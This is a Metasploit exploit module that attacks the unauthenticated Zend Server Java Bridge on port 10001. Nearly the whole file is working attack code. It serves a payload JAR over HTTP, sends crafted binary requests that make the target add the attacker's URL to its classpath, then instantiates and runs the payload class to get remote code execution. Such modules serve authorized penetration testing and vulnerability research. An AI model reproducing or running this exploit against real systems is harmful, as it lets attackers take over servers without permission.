##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zend Server Java Bridge Arbitrary Java Code Execution',
        'Description' => %q{
          This module takes advantage of a trust relationship issue within the
          Zend Server Java Bridge. The Java Bridge is responsible for handling interactions
          between PHP and Java code within Zend Server.

          When Java code is encountered Zend Server communicates with the Java Bridge. The
          Java Bridge then handles the java code and creates the objects within the Java Virtual
          Machine. This interaction however, does not require any sort of authentication. This
          leaves the JVM wide open to remote attackers. Sending specially crafted data to the
          Java Bridge results in the execution of arbitrary java code.
        },
        'Author' => [ 'bannedit' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '71420'],
          [ 'ZDI', '11-113'],
          [ 'EDB', '17078' ],
        ],
        'Platform' => ['java'], # win
        'Arch' => ARCH_JAVA,
        'Privileged' => true,
        'Targets' => [
          [ 'Linux', {}],
          [ 'Windows', {}],
        ],
        'DisclosureDate' => '2011-03-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options([ Opt::RPORT(10001) ])
  end

  def exploit
    start_service()
    send_java_require
  end

  def send_java_require()
    connect

    jar = rand_text_alpha(rand(8) + 1) + '.jar'
    path = get_uri + '/' + jar
    uri_len = path.length
    java_require = [0xffffffff, 0x16000000].pack('V*') +
                   "setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +
                   [uri_len].pack('C') + path

    java_require = [java_require.length].pack('N') + java_require

    print_status("Sending java_require() request... #{path}")
    sock.put(java_require)
    res = sock.get_once

    select(nil, nil, nil, 5) # wait for the request to be handled
    create_and_exec
  end

  def create_and_exec
    print_status("Sending Final Java Bridge Requests")

    create_obj =
      [0x34000000, 0x00000000, 0x0c000000].pack('V*') +
      "CreateObject" +
      [0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +
      "metasploit.Payload" +
      [0x07000000].pack('N') + [0x00].pack('C')

    sock.put(create_obj)
    res = sock.get_once
    obj_id = res[5, 4]

    callmain =
      [0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +
      [0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') +
      [0x00].pack('C') + [0x00].pack('C')

    sock.put(callmain)
    sock.get_once
    handler()
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.jar$/i
      send_response(cli, payload.encoded,
                    {
                      'Content-Type' => 'application/java-archive',
                      'Connection' => 'close',
                      'Pragma' => 'no-cache'
                    })

      print_status("Replied to Request for Payload JAR")
    end
  end
end
